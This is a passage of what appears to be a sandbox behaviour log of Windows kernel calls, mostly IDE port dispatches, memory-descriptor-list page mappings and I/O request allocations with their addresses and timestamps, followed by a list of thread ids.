IdePortDispatch () returned 0x103 [0101.520] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b95000 [0101.520] IdePortDispatch () returned 0x103 [0102.971] IdePortDispatch () returned 0x103 [0105.517] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f6c740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003508000 [0105.517] IdePortDispatch () returned 0x103 [0107.992] IdePortDispatch () returned 0x103 [0112.109] IdePortDispatch () returned 0x103 [0118.135] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f6c740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c7b000 [0118.135] IdePortDispatch () returned 0x103 [0118.630] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0118.630] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0118.630] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.630] KeInitializeEvent (in: Event=0xfffff88002f6caf0, Type=0x0, State=0 | out: Event=0xfffff88002f6caf0) [0118.630] IdePortDispatch () returned 0x103 [0118.630] KeWaitForMutexObject () returned 0x0 [0119.644] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0119.644] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0119.644] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.644] KeInitializeEvent (in: Event=0xfffff88002f6caf0, Type=0x0, State=0 | out: Event=0xfffff88002f6caf0) [0119.644] IdePortDispatch () returned 0x103 [0119.644] KeWaitForMutexObject () returned 0x0 [0120.140] IdePortDispatch () returned 0x103 [0120.658] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.658] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.658] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.658] KeInitializeEvent (in: Event=0xfffff88002f6caf0, Type=0x0, State=0 | out: Event=0xfffff88002f6caf0) [0120.658] IdePortDispatch () returned 0x103 [0120.658] KeWaitForMutexObject () returned 0x0 [0121.376] IdePortDispatch () returned 0x103 [0121.377] IdePortDispatch () returned 0x103 [0121.377] IdePortDispatch () returned 0x103 [0121.672] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0121.672] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0121.672] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0121.672] KeInitializeEvent (in: Event=0xfffff88002f6caf0, Type=0x0, State=0 | out: Event=0xfffff88002f6caf0) [0121.672] IdePortDispatch () returned 0x103 [0121.673] KeWaitForMutexObject () returned 0x0 [0122.138] IdePortDispatch () returned 0x103 [0122.139] IdePortDispatch () returned 0x103 [0122.139] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f6c740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c35000 [0122.139] IdePortDispatch () returned 0x103 [0124.131] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f6c740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ef000 [0124.131] IdePortDispatch () returned 0x103 [0124.714] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0124.714] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0124.714] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.714] KeInitializeEvent (in: Event=0xfffff88002f6caf0, Type=0x0, State=0 | out: Event=0xfffff88002f6caf0) [0124.714] IdePortDispatch () returned 0x103 [0124.714] KeWaitForMutexObject () returned 0x0 [0125.728] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.728] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.728] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.728] KeInitializeEvent (in: Event=0xfffff88002f6caf0, Type=0x0, State=0 | out: Event=0xfffff88002f6caf0) [0125.728] IdePortDispatch () returned 0x103 [0125.728] KeWaitForMutexObject () returned 0x0 [0126.135] IdePortDispatch () returned 0x103 [0126.135] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f6c740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b1000 [0126.135] IdePortDispatch () returned 0x103 [0126.135] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f6c740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b3000 [0126.135] IdePortDispatch () returned 0x103 [0126.414] IdePortDispatch () returned 0x103 [0126.414] IdePortDispatch () returned 0x103 [0126.415] IdePortDispatch () returned 0x103 [0126.742] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.742] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.742] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.742] KeInitializeEvent (in: Event=0xfffff88002f6caf0, Type=0x0, State=0 | out: Event=0xfffff88002f6caf0) [0126.742] IdePortDispatch () returned 0x103 [0126.742] KeWaitForMutexObject () returned 0x0 [0127.756] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003bfa010 [0127.756] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003bfa010 | out: Irp=0xfffffa8003bfa010) returned 0xfffffa8003baf190 [0127.756] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.756] KeInitializeEvent (in: Event=0xfffff88002f6caf0, Type=0x0, State=0 | out: Event=0xfffff88002f6caf0) [0127.756] IdePortDispatch () returned 0x103 [0127.756] KeWaitForMutexObject () returned 0x0 [0128.127] IdePortDispatch () returned 0x103 [0128.127] IdePortDispatch () returned 0x103 [0128.127] IdePortDispatch () returned 0x103 [0128.128] IdePortDispatch () returned 0x103 [0128.128] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f6c740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cc8000 [0128.128] IdePortDispatch () returned 0x103 [0128.770] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.770] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.770] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.770] KeInitializeEvent (in: Event=0xfffff88002f6caf0, Type=0x0, State=0 | out: Event=0xfffff88002f6caf0) [0128.770] IdePortDispatch () returned 0x103 [0128.770] KeWaitForMutexObject () returned 0x0 [0129.784] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.784] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.784] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.784] KeInitializeEvent (in: Event=0xfffff88002f6caf0, Type=0x0, State=0 | out: Event=0xfffff88002f6caf0) [0129.784] IdePortDispatch () returned 0x103 [0129.784] KeWaitForMutexObject () returned 0x0 Thread: id = 28 os_tid = 0xbc Thread: id = 30 os_tid = 0xf8 Thread: id = 31 os_tid = 0xf4 Thread: id = 32 os_tid = 0xf0 Thread: id = 33 os_tid = 0xec Thread: id = 34 os_tid = 0xe8 Thread: id = 36 os_tid = 0x4c Thread: id = 38 os_tid = 0x104 Thread: id = 39 os_tid = 0x118 Thread: id = 40 os_tid = 0x48 Thread: id = 41 os_tid = 0x78 [0066.852] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb7000 [0066.852] IdePortDispatch () returned 0x103 Thread: id = 42 os_tid = 0x11c Thread: id = 43 os_tid = 0x128 Thread: id = 44 os_tid = 0x134 [0067.742] IdePortDispatch () returned 0x103 Thread: id = 45 os_tid = 0x124 [0067.805] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800353b610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f4000 [0067.806] IdePortDispatch () returned 0x103 [0067.806] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800353bb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003514000 [0067.806] IdePortDispatch () returned 0x103 [0067.806] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800353b010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003534000 [0067.807] IdePortDispatch () returned 0x103 [0067.807] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800353a610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003580000 [0067.808] IdePortDispatch () returned 0x103 [0067.808] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800353ab10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a0000 [0067.808] IdePortDispatch () returned 0x103 [0067.809] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800353a010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c0000 [0067.809] IdePortDispatch () returned 0x103 [0067.809] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003539610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e0000 [0067.810] IdePortDispatch () returned 0x103 [0067.810] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003539b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007ee1000 [0067.811] IdePortDispatch () returned 0x103 [0067.811] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003539010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f01000 [0067.812] IdePortDispatch () returned 0x103 [0067.812] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003538610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f21000 [0067.812] IdePortDispatch () returned 0x103 [0067.812] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003538b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f41000 [0067.813] IdePortDispatch () returned 0x103 [0067.813] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003538010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f61000 [0067.813] IdePortDispatch () returned 0x103 [0067.813] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003537610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f81000 [0067.814] IdePortDispatch () returned 0x103 [0067.814] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003537b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fa1000 [0067.815] IdePortDispatch () returned 0x103 [0067.815] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003537010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fc1000 [0067.815] IdePortDispatch () returned 0x103 [0067.815] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003536610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002be5000 [0067.816] IdePortDispatch () returned 0x103 [0067.816] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003536b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c05000 [0067.816] IdePortDispatch () returned 0x103 [0067.816] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003536010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c25000 [0067.817] IdePortDispatch () returned 0x103 [0067.817] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003535610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c45000 [0067.818] IdePortDispatch () returned 0x103 [0067.818] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003535b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c75000 [0067.818] IdePortDispatch () returned 0x103 [0067.818] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003535010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c95000 [0067.819] IdePortDispatch () returned 0x103 [0067.819] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003534610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb5000 [0067.820] IdePortDispatch () returned 0x103 [0067.820] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003534b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd5000 [0067.820] IdePortDispatch () returned 0x103 [0067.821] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003534010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf5000 [0067.821] IdePortDispatch () returned 0x103 [0067.821] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003533610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d15000 [0067.822] IdePortDispatch () returned 0x103 [0067.822] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003533b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d35000 [0067.823] IdePortDispatch () returned 0x103 [0067.823] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003533010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d55000 [0067.823] IdePortDispatch () returned 0x103 [0067.823] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003532610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d75000 [0067.824] IdePortDispatch () returned 0x103 [0067.824] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003532b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffffa8000000000) returned 0xfffff88002d95000 [0067.825] IdePortDispatch () returned 0x103 [0067.826] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003532010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003400000 [0067.826] IdePortDispatch () returned 0x103 [0067.826] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003531610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0067.827] IdePortDispatch () returned 0x103 [0067.827] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003531b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003460000 [0067.828] IdePortDispatch () returned 0x103 [0067.828] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003531010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003480000 [0067.828] IdePortDispatch () returned 0x103 [0067.828] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003530610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a0000 [0067.829] IdePortDispatch () returned 0x103 [0067.829] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003530b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c0000 [0067.829] IdePortDispatch () returned 0x103 [0067.829] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003530010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e0000 [0067.830] IdePortDispatch () returned 0x103 [0067.830] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800352f610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003500000 [0067.830] IdePortDispatch () returned 0x103 [0067.830] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800352fb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003520000 [0067.830] IdePortDispatch () returned 0x103 [0067.831] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800352f010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003540000 [0067.831] IdePortDispatch () returned 0x103 [0067.831] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800352e610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003560000 [0067.832] IdePortDispatch () returned 0x103 [0067.832] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800352eb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003580000 [0067.832] IdePortDispatch () returned 0x103 [0067.833] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800352e010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a0000 [0067.833] IdePortDispatch () returned 0x103 [0067.833] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800352d610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c0000 [0067.834] IdePortDispatch () returned 0x103 [0067.834] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800352db10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e0000 [0067.834] IdePortDispatch () returned 0x103 [0067.834] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800352d010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007ee1000 [0067.836] IdePortDispatch () returned 0x103 [0067.836] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800352c610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f01000 [0067.836] IdePortDispatch () returned 0x103 [0067.836] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800352cb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f21000 [0067.837] IdePortDispatch () returned 0x103 [0067.837] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800352c010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f41000 [0067.837] IdePortDispatch () returned 0x103 [0067.838] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800352b610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f61000 [0067.838] IdePortDispatch () returned 0x103 [0067.838] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800352bb10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f81000 [0067.839] IdePortDispatch () returned 0x103 [0067.839] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800352b010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fa1000 [0067.839] IdePortDispatch () returned 0x103 [0067.839] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800352a610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fc1000 [0067.840] IdePortDispatch () returned 0x103 [0067.840] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800352ab10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002be5000 [0067.840] IdePortDispatch () returned 0x103 [0067.840] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800352a010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c05000 [0067.841] IdePortDispatch () returned 0x103 [0067.841] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003529610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c25000 [0067.841] IdePortDispatch () returned 0x103 [0067.841] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003529b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c45000 [0067.842] IdePortDispatch () returned 0x103 [0067.842] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003529010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c75000 [0067.842] IdePortDispatch () returned 0x103 [0067.843] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003528610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c95000 [0067.843] IdePortDispatch () returned 0x103 [0067.843] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003528b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb5000 [0067.844] IdePortDispatch () returned 0x103 [0067.844] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003528010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd5000 [0067.845] IdePortDispatch () returned 0x103 [0067.845] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003527610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf5000 [0067.845] IdePortDispatch () returned 0x103 [0067.845] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003527b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d15000 [0067.846] IdePortDispatch () returned 0x103 [0067.846] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003527010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d35000 [0067.846] IdePortDispatch () returned 0x103 [0067.846] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003526610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d55000 [0067.847] IdePortDispatch () returned 0x103 [0067.847] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003526b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d75000 [0067.847] IdePortDispatch () returned 0x103 [0067.848] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003526010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d95000 [0067.848] IdePortDispatch () returned 0x103 